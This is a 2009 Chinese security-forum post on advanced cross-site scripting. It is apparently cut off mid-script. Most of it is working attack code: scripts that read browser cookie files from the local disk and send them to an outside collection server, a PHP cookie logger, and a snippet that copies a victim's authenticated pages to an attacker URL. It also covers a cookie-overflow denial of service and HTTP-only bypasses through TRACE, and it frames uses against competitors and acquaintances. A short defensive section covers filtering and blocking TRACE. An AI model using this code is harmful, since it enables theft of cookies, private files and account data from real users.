XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
9 ~9 [5 @' }6 E( b2 ^本帖最后由 racle 于 2009-5-30 09:19 编辑

XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
( X- W8 f/ F; _, [) _By racle@tian6.com   
7 \9 s. o4 Q# I" a7 a8 ^5 fhttp://bbs.tian6.com/thread-12711-1-1.html
转帖请保留版权



-------------------------------------------前言---------------------------------------------------------
  Z' P' j9 P  N# e  E) `" h3 \

本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.

& G$ [& p4 Z  j1 s
5 x+ O8 y5 w% @- R' \如果你还未具备基础XSS知识,以下几个文章建议拜读:
0 b: x) b# ?- f& @8 A& ?5 n& jhttp://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
http://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
5 R  x0 z! t% L3 J8 zhttp://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
' q! }- X" d5 K) B; A% Fhttp://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
$ N9 t, Z* Y  w! dhttp://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
http://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持


" i% e, F) d7 `# w4 c# g
% o8 A8 o7 e; n* {! a
如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.

希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.

& h& }7 G% q0 H, m- z. P如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,
+ y! f; @+ k7 _; A  A2 q
Baidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大
% w) w; h0 ]- [; l
QQ ZONE,校内网XSS     感染过万QQ ZONE.

+ ^8 `3 E2 n4 JOWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪

..........
复制代码------------------------------------------介绍-------------------------------------------------------------
+ Y' y$ O5 L$ F! B8 I, L
# E8 \. ^8 }$ `9 P' d0 V/ n什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.
' t% @5 H. c# i9 ^+ p- W. u* V


跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.

6 U7 Z0 E) G8 I. ?3 z

如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
' o4 t& q0 c+ L4 T' v复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
我们在这里重点探讨以下几个问题:

8 L3 J# S) \% C  C4 U. ~/ z1        通过XSS,我们能实现什么?
5 a; N; C9 {  F' F! Y
2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?

3        XSS的高级利用和高级综合型XSS蠕虫的可行性?
) \$ Q; M# U) x3 f/ S1 h) U+ l
$ I2 x9 U+ r8 L3 a8 d4        XSS漏洞在输出和输入两个方面怎么才能避免.
* O: k8 ?5 u$ N, \0 m* M% E& e
3 r4 S' b/ G- e+ f8 E. B4 g

3 P) ]4 z) X$ ?7 @------------------------------------------研究正题----------------------------------------------------------


9 W# c9 T4 n0 {- C% e
! d- C: v' ]. e2 [' x; s通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
( h4 I8 U; u9 n8 c2 O复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
( K  s+ f) \6 D' ?! G, o1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
1 p$ O8 ^4 A) O/ W% \3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
4:Http-only可以采用作为COOKIES保护方式之一.


4 R/ Z: s$ k! F, T

; o2 F; R5 R( y
(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
0 N. @8 s. d0 g# l  e: Q3 f
# }# ?/ ]) Q- D, q我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)
5 y; H2 m& L! n) R7 s' w
* D2 O6 g! R& A9 J/ |+ h6 v; f

" k) e+ p1 C5 F9 }- ^; b    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。

/ f) n6 u; L! t

+ J! U7 }: S; F1 v    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。

! t) Z' V" M( h( F' l% ]! q, r
9 x& Z( e$ `1 W
0 s4 b# P. i/ H5 T7 ]: K$ e    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
复制代码IE6使用ajax读取本地文件    <script>

    function $(x){return document.getElementById(x)}


) [& y* J+ d4 Y* z2 r2 M; T
    function ajax_obj(){
/ X  ^; N% D/ Y' \. o
    var request = false;
" ~) G6 K6 F+ a& A
    if(window.XMLHttpRequest) {
# ~1 q+ I2 ]3 R1 Y6 u1 X
    request = new XMLHttpRequest();

" f4 F- N3 H+ L% N2 ~: v2 G    } else if(window.ActiveXObject) {
; o' [" _/ G8 n7 O0 w6 t
    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',

# Z0 [1 @! C; B6 a* Y* e

) z9 D* d  E: c- q2 e+ |7 N7 f    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

2 s9 a: v2 P  I0 e! Q9 N    for(var i=0; i<versions.length; i++) {
! r" Q- W8 e! x# R7 F4 K% v
    try {

    request = new ActiveXObject(versions);

" Y8 L: i/ N& P/ O7 [/ E/ C    } catch(e) {}

    }

    }
+ Z6 e$ G4 V2 U# D
    return request;

    }

. y" I) e' t! g2 K; ^) L6 e    var _x = ajax_obj();

    function _7or3(_m,action,argv){
9 u& y7 s( O, c, x+ X6 a: K( r
: {/ X3 w3 V% p/ H" A; H! M/ y    _x.open(_m,action,false);
9 Q* W6 v/ F' |2 U; |+ g: V- e: h
' t$ S" c( k# f- e! t    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

    _x.send(argv);

7 K+ b; E) o6 Y8 K! f2 S    return _x.responseText;
* Z) ?5 g3 ~- s* l3 t* `
    }


7 P. v3 B; H8 N3 j- F
    var txt=_7or3("GET","file://localhost/C:/11.txt",null);
$ }. s0 u* o& D; j* c: ^! i0 C# `& T
    alert(txt);


/ u* Z3 C: l, v
0 a2 s( K" S3 b9 }    </script>
复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>
- m% A* c, d- }6 A  b" E
    function $(x){return document.getElementById(x)}
; r+ P* [. a8 k7 `
( ]/ y  S$ f2 P- U( m3 ?
' S! F+ g8 y6 C  [$ n
    function ajax_obj(){
$ s; X& Q% u4 h. H2 \. T" |$ s
    var request = false;
% T. K3 N1 G$ ^1 F( R! W! T- m+ d
1 R. ?3 I% K( E9 g; {1 e' [    if(window.XMLHttpRequest) {

    request = new XMLHttpRequest();

    } else if(window.ActiveXObject) {
- @$ o0 Y" d# }* N* ]% f' t
    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',

0 O% z* h) j8 v! D9 {, G$ M; J/ y
. {: U# d. e' j& X* D
    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
8 z' C- z3 j$ q: i  ]: \
1 f0 Z. ?% N  @6 G3 W+ K) \! K    for(var i=0; i<versions.length; i++) {

    try {

  H  ?* P5 d: u- F    request = new ActiveXObject(versions);
0 j8 M$ y: P4 ~/ M8 Y! s& D
    } catch(e) {}
! B! v* U- [8 p$ a# y
    }
/ C" u8 V; y! t$ t- c" D
! g7 U# v% \8 E  n! Z% j    }

: ]2 g, r4 f" u, B    return request;

, ]" p* A: `3 n+ q3 s0 _    }

    var _x = ajax_obj();

    function _7or3(_m,action,argv){
( O9 V* m# k) h' l
( |7 R/ o3 P& k1 ]1 V+ a- Q    _x.open(_m,action,false);
& E+ I4 m1 R  @  m6 Q* W' K: o
$ y% M! r: ~* B    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

    _x.send(argv);

$ h6 [# @! D* G0 P+ n    return _x.responseText;
1 j/ M3 D& P7 r$ B. `' U+ }
; M$ ^" \: j2 B# }& N7 _  H    }

% R, `3 a7 @3 _4 B& }6 D1 K
8 D/ }* T- E! {1 ^. J' I
8 a" v5 l3 i+ f! _    var txt=_7or3("GET","1/11.txt",null);

    alert(txt);

) e! _7 L$ l. G" [% @6 @

    </script>
复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”
  t, r, d4 [9 _8 v/ E

5 Y1 A. f7 q9 ~: r9 J/ O
/ _, S" \5 i, b9 yChrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
3 Z& P0 P9 ^6 A0 W2 r6 j

8 A- }* f7 I0 q) J
; E0 i8 u" M: ^3 o<?   
/ g( v: l) v+ P! d3 Z8 `
; }' ~4 i4 P7 \3 A. V/*  
; q  N' c" i, q' U5 o5 |
     Chrome 1.0.154.53 use ajax read local txt file and upload exp  
7 v  A) C2 w, O
     www.inbreak.net   
4 C+ R+ L8 Y' J6 M5 s, o- B( U
     author voidloafer@gmail.com 2009-4-22   
0 t/ k! h6 }! X; w( ?
' t+ q9 b) u) q3 L8 s     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  

2 x; [( `/ S- `' k- v*/  
$ y; o& p7 `% D' O
1 w" _8 D0 n& [/ l1 D* o( t1 jheader("Content-Disposition: attachment;filename=kxlzx.htm");   
! H/ ?* y+ i) y0 R, P' }/ r
/ O( f# x$ K5 e* x3 Theader("Content-type: application/kxlzx");   

, X. B9 h) d4 z. ?( \/*  
3 B$ c6 s6 ^3 L5 c3 g3 U
     set header, so just download html file,and open it at local.  

*/  

?>   
6 P5 Y9 _, V8 D5 h$ G: W& Y" G
<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   

+ c8 e% }* O4 H8 e( m  s/ H     <input id="input" name="cookie" value="" type="hidden">   

, o3 I& v+ U7 H</form>   
/ [' U6 B5 Y0 ~0 F4 T- T
; A! b3 l! j$ T3 V; p$ L<script>   
( {) p/ U5 q2 i: `9 x" q9 A
function doMyAjax(user)   

% Y2 C/ ]+ z; L; U# F{   

var time = Math.random();   

/*  

! |* ~- \  q7 O6 Ithe cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  
: X9 [% |% P4 k% ?- Y4 ]
8 i7 k' s* F0 S, a1 T0 jand the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  
! S- Y$ u2 q9 T9 X- A
4 i1 i* r- o/ X, K% Jand so on...  

*/  
% ~- o3 @+ n) b  L; K; p9 q) ^* F
8 S$ i9 ]- [7 @' s% ~var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   
3 O9 F& H" G+ A5 m7 s- f8 I/ x
2 V5 y9 Q% M+ K" f$ X! q   

% ~( U: _4 N( \startRequest(strPer);   
& G, N4 L6 l% ]5 h/ T) X8 s

; z4 [0 c7 o, O& u! U/ M
}   
) L- @" p+ U1 v% v" l
  i, z6 ^7 R4 P+ a   
) P) X: [# [3 l0 Z  k
1 J# ~0 Q3 J& |8 kfunction Enshellcode(txt)   

6 u- \: b) E$ V3 _. O1 {8 M{   

3 N) `; ?! }5 q! Wvar url=new String(txt);   

var i=0,l=0,k=0,curl="";   

l= url.length;   

& O# A: \7 _7 W1 h( Sfor(;i<l;i++){   

k=url.charCodeAt(i);   

if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   
+ `  n7 k0 @) X) b: g
# O& K! b. @7 i# L; zif (l%2){curl+="00";}else{curl+="0000";}   
4 b. y" l# \) [/ N5 [
curl=curl.replace(/(..)(..)/g,"%u$2$1");   

7 ]" J, f0 l5 o. ]5 O  Xreturn curl;   

. ~5 g# T9 D* {7 p' v, f; `. P  f}   
1 M+ }2 q- {' B
- f5 L- l3 T/ q6 K# D8 q! }   

   

, p5 g" C9 n3 o" P, qvar xmlHttp;   
7 l/ w2 J4 V* f  K6 P, r# W
1 m  Q/ R6 @: `4 ^function createXMLHttp(){   
5 r: R+ H# A0 b9 |& u$ c
3 n+ y' H7 y" d' v0 J     if(window.XMLHttpRequest){   
0 T# w& J! |# G9 {
xmlHttp = new XMLHttpRequest();           
7 b- l/ Z, S. B' I9 y
, a& r. B  c) N3 I4 ^6 A2 F     }   
$ u. p7 ~3 N# p' K
5 w3 _/ D. m) |) r     else if(window.ActiveXObject){   

xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   

+ C$ L7 }2 B9 {+ g3 c! q$ R     }   
0 z: a& S; ^$ g% v
3 N' e3 n9 X4 R}   

: Y3 M/ e1 v5 G2 G   

function startRequest(doUrl){   

   
/ f- V9 @3 g, K' u5 \+ ]2 L5 d
  D. S+ R: l/ v0 [7 E( T: w     createXMLHttp();   



. n4 O$ Y( G: X+ z7 q( q) v! D1 \     xmlHttp.onreadystatechange = handleStateChange;   

5 v: k2 v" j2 Y

' B; d7 e  X3 L1 w     xmlHttp.open("GET", doUrl, true);   

& m* Y' B. m7 ~
- _* b; n. ]+ x% }: H) c
+ I) i% r7 y& k" v( ?     xmlHttp.send(null);   
# G1 Z' M% h7 D/ d  }. a2 X* y
* m& k* h' ^, n


- j/ b( O) T" [
}   
( f) C# o  C, B5 b
+ S- V$ Q( U% D- \5 C2 v8 Y) ^   

6 T7 J9 F4 x- N! f" Dfunction handleStateChange(){   
8 G1 y: s* B. I$ b3 c& {2 ]
# `0 \9 r$ z, u- l     if (xmlHttp.readyState == 4 ){   
2 c, a) [) U7 b  r1 L# _/ ~
     var strResponse = "";   
3 J% H+ i& |5 `* L, b
( j" i! C6 V8 i7 i+ p! q     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   
0 K+ d" {* P' V1 O; X5 l
! Q# |+ D5 y$ e/ v. J        
6 l$ _" T) `: s
7 Q" z$ e2 d. v% _  X* ~1 m  \     }   

; \+ k7 ^  l0 v- h! ]4 l  {, E}   

   

   

' f' M& V7 T1 [4 {function framekxlzxPost(text)   
3 Q* g- s" b3 \' c! X
{   
0 X4 X. z% m( Z9 l& c& t
) f' ^+ {$ f$ K$ R' H2 S( y! _* R     document.getElementById("input").value = Enshellcode(text);   
9 ^: t) V9 I) G! e2 s& c% U6 n
2 a( ]* i1 i; U" I" ^7 a     document.getElementById("form").submit();   
: M2 a$ ^5 U8 j6 c4 O7 e8 Z% d! D
$ @* @) ]- O: U+ E% o& ?}   
( h9 g6 S- R3 N- s6 F1 w0 l4 n: b# N
: K0 B0 _: i+ ^   
& ]  [2 i+ q" \
doMyAjax("administrator");   
1 R6 q5 K% S0 J
   

0 b# {$ j2 Z# u  V+ x' q+ V" X</script>
复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  
) B& T7 g, m$ K+ S' @4 l
var xmlHttp;  

5 o: b+ C& j& ^" X5 @  @& {" Ffunction createXMLHttp(){  

     if(window.XMLHttpRequest){  

: ]+ f# V: n' C, h$ M  W2 q         xmlHttp = new XMLHttpRequest();         
5 {) t' J+ l0 V
     }  

- H9 M: d$ A1 T) c, h     else if(window.ActiveXObject){  

' i" H6 M, {' G( D3 P. {/ r' `         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  

     }  

# a, ]' E6 m' }- Z* U5 ~5 l5 r9 F! [6 l}  

# I: Z# n( S% `5 _4 T3 \   

function startRequest(doUrl){  
  {% m; s) X! x4 D5 ?( F1 O! e6 C
& |4 v/ S$ P) @           

     createXMLHttp();  
- Q3 L% F" i$ v- s( x
1 t0 {7 }0 I& b$ [. ]+ I. z      

* d5 e  N7 @7 R5 d3 @+ _1 [     xmlHttp.onreadystatechange = handleStateChange;  
" x3 l' j7 B2 m7 X( `, f
      
  {1 `. O& Y" I/ S  h0 X
8 v1 u9 e" j1 \6 X0 _3 j     xmlHttp.open("GET", doUrl, true);  

      
5 |  I) b& r2 Z8 \$ S8 `2 W" J! H
3 q2 T7 T7 `" Q& x6 C     xmlHttp.send(null);  
" V0 A! j5 t  ^' V! f
, ?" H8 c$ ?; B; W0 ~% F0 i      
8 j! X. }; G- _. H, \+ K" I2 v9 C
, c1 n, b% ?4 P1 P4 S      
1 x& i4 F" i; L) t* m! u; @0 \( p: u
}   

   

function handleStateChange(){  
3 S: b& h) S# ^% x
! E) a, p. z" \3 @9 S0 z3 n     if (xmlHttp.readyState == 4 ){  

             var strResponse = "";  

             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   

               
3 B. m" W& q% {/ T% V
     }  

/ `% g# Q  L+ s# U}  

   

function doMyAjax(user,file)  
  M1 d. ^* f# W
( M& i; x3 g  m5 A4 N& Z{  

         var time = Math.random();  

           

0 F* l1 j% \& _, }         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  
0 k1 P- B8 |& P7 i: A5 g( ~
7 t( v8 @+ A; Y/ W5 ]           
  C& h1 n. m* l6 e5 u* s
         startRequest(strPer);  
$ K& H+ }2 O  N& t3 O  w: m4 ]; ~6 `
      

}  
( `3 p1 A2 N' \8 r# T3 I/ V
   
% S, r( E1 i' R0 J9 l& S
. K6 p% E! x( P! H% i. @4 F- M; sfunction framekxlzxPost(text)  
+ t1 y: g# N% T8 r0 t' L8 a
. r( F% q& j9 L+ A& U9 w{  

     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  

     alert(/ok/);  

) n7 h7 W! ~2 y% u% \# {6 e5 V4 h}  

  H# }5 p: ^3 I   
+ Y& o: h6 p2 o% ^
+ b' n+ y8 i2 O3 _1 E+ }doMyAjax('administrator','administrator@alibaba[1].txt');  

/ M6 T0 h1 [6 A; g- I: Z   

% L3 ~% W  u/ C6 f; E% D</script>
- ?* f+ t% N5 ]8 P6 D& j% G4 `
/ q+ @1 |6 ^* X& Q2 u! X

3 [+ j1 Y; B+ q: ]% V

a.php



! j" x1 C% f* w$ \2 i' c<?php      
7 o1 h. p5 F2 d* r0 z  |. r
! Q; A/ g3 z, T8 B. y9 _- D: d   
- @. p1 A' N) Q0 a- T; v& E+ j
1 Z# x" R, v" d% L' s$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  

$ y! H) f6 ?& o3 H$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   
. W9 {8 B  d0 o, ~. K1 B) Y) @+ Y6 n
  
3 S. f6 g0 Y2 J" q9 t5 q
$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     
1 A! n* M. O) L1 U% W
fwrite($fp,$_GET["cookie"]);      

fclose($fp);   

?>
复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
9 b3 O& {) Z9 T( l1 o3 P9 w
6 O: K. j# U: u或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
4 Z( m. v/ G, P5 D0 w利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.
# I$ b, n( z; H+ B
代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);

3 Q; X6 v- O( L//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
8 b2 r* M: m. q
+ L1 f) O! H" q5 C+ B6 f//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);
& @" ~2 W. O. [" ^. g  H0 Q; N! o
' I6 l  a8 U7 A7 J$ i5 vfunction getURL(s) {

var image = new Image();
4 N8 Q. {* N/ ~/ n3 R+ g- p- @
4 C2 s3 q/ u. T0 D/ g+ G4 Dimage.style.width = 0;

image.style.height = 0;
* o+ s. d( P7 O) J
2 w5 D* B" y6 m! b# L5 i! i; ximage.src = s;

9 R" w  R4 k& ]$ l; [5 t$ X  w( H}
3 G8 l7 ]4 ?+ X2 k$ ~
getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
8 `! X- M2 t& I7 H" Y8 B复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
# N- ?- u; w, @4 M: E$ [0 o这里引用大风的一段简单代码:<script language="javascript">
. N$ l9 @4 ?, c3 E8 G/ u) H
var metastr = "AAAAAAAAAA"; // 10 A

" ^) `! c* v- R- s! m- @* ~var str = "";
% o% N7 l) P- |" l- A! \
6 i- Q* R3 e% N$ ~. p( `9 N" K2 Y& Uwhile (str.length < 4000){

    str += metastr;

}
6 r& b% H) ?1 y5 g5 [

1 c7 X# g5 G0 x
document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS

5 p3 z2 ~3 ], C</script>

" I5 k/ _# o- u7 [9 W: X2 Z详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
* [. o8 e# J0 B4 hserver limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150

假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
2 e' h% u+ ?- s+ t9 Y6 |3 q8 A3 G攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.

5 N, W5 O7 n  |  \( `# \
* @& P- F3 G0 M, n
  p$ r5 B- F( |: Y( T, Y
: i1 s. D' U; ]

% r7 w  F6 ~& j9 M(III) Http only bypass 与 补救对策:
; q% H+ {, D, w' E% k; }
6 ?/ y4 W: j2 Y4 d. d" |% F什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">

+ O& i% m9 V% h/ G1 b3 Q<!--

function normalCookie() {
& c" g5 ~  r2 L5 ~1 d+ q- j
document.cookie = "TheCookieName=CookieValue_httpOnly";

0 `: c' b( O' n; |& Ialert(document.cookie);
+ j/ R' _! b2 X! {/ ^
}




, r8 V+ E5 g6 l
$ s( u, E% w' I. b8 Z. Cfunction httpOnlyCookie() {

document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";

% _4 J9 l+ z) oalert(document.cookie);}


8 \7 ^2 Q& C* k6 e4 `& g
//-->

</script>


! \$ ]6 K3 c8 t
+ I9 G* Q9 Y; n4 n+ L<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>

6 e2 D- x2 e8 O: x) Y<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
2 M! e; ^5 E  M  H; O复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>

, r0 w2 A1 t! E

var request = false;
' w& i3 I* n; O# |! e) ]
2 a# P: Y( b' c" R4 X3 Z        if(window.XMLHttpRequest) {

4 U1 ]3 m, K0 ~2 J3 m7 ~8 n% z            request = new XMLHttpRequest();

            if(request.overrideMimeType) {
% q: x0 J0 n- R$ B; X
                request.overrideMimeType('text/xml');

            }
7 [4 l# K! _- A( ~1 c3 ?- Q5 K& B
; y1 N. Q( M# L        } else if(window.ActiveXObject) {

            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
. A: |5 I1 W7 M% u- u0 _# N
            for(var i=0; i<versions.length; i++) {
8 N8 r/ u: n  @( V
                try {

# M8 ~: s# i7 ]" D                    request = new ActiveXObject(versions);
* O# V2 N, E) R- l9 O3 c2 d. c. }
/ F2 K$ j: S7 [) y                } catch(e) {}
& i0 k/ }; o8 ?; D6 t% K6 _! e( z$ J0 M
2 J$ a! Y7 Y5 u3 r5 C* _            }
% J7 T+ X" E1 S) c6 I! F
# G$ Q  y/ p( F3 P        }
" E& f& M4 {0 W0 }, |: y
xmlHttp=request;

xmlHttp.open("TRACE","http://www.vul.com",false);
  l9 ?% `* B2 q  N7 I" c+ x# A
xmlHttp.send(null);
) \" ~* j- T4 x2 G! c
7 h% k1 m% `1 C" S# e5 o) mxmlDoc=xmlHttp.responseText;
( m2 E3 H. e- s! Z$ r( D! g  `+ ]7 @
+ k, s- i3 q% w/ a: X! e$ q/ h/ }8 Nalert(xmlDoc);

</script>
1 X$ v( N* h, k& {复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>
. O2 @" |  S4 J
! S8 [& _  {, [) n6 Hvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
# M! j7 o2 i# n0 K
6 e0 n. G* o6 u* NXmlHttp.open("GET","http://www.google.com",false);
& p, z: s8 \2 Z, D! n# }+ K
; j; O$ @/ {0 |XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

) l8 Q: R5 d- t5 R/ UXmlHttp.send(null);
* s' K2 W' F* R4 ], C, }- f
var resource=xmlHttp.responseText
) F- [! W! b, I  o! C
resource.search(/cookies/);
& Y& t& @. x1 u2 c5 z% j  A! T
......................
- b1 [  y( j5 k& Z* R
</script>




) j# Y2 B, g  ~$ L9 F5 R
如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
7 r: C* J' D; c6 L& N& h) M  g
[code]

- c6 I5 M8 ?6 H  y$ JRewriteEngine On

7 K4 N# u% S" bRewriteCond %{REQUEST_METHOD} ^TRACE
+ g, D1 [* x. ^
  H. W8 M6 A2 PRewriteRule .* - [F]

  t  {' k+ O; ^* e/ F

& k) r& g' N) m) eSquid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
& G7 J) y, {, G; \6 U
* Z3 l; X5 f5 K5 G' M3 vacl TRACE method TRACE

3 R* d1 s9 I& L3 Z. O( [* ?+ \; s...
+ W9 A- e7 U' T  n) ?9 `) U9 a
) P; G: i8 E0 S8 v6 k) \http_access deny TRACE
复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
2 N; W- _& U* m- t2 K
& r6 q! p+ ^  ?% X2 Z' E1 Rvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
4 k% [) {  b4 M
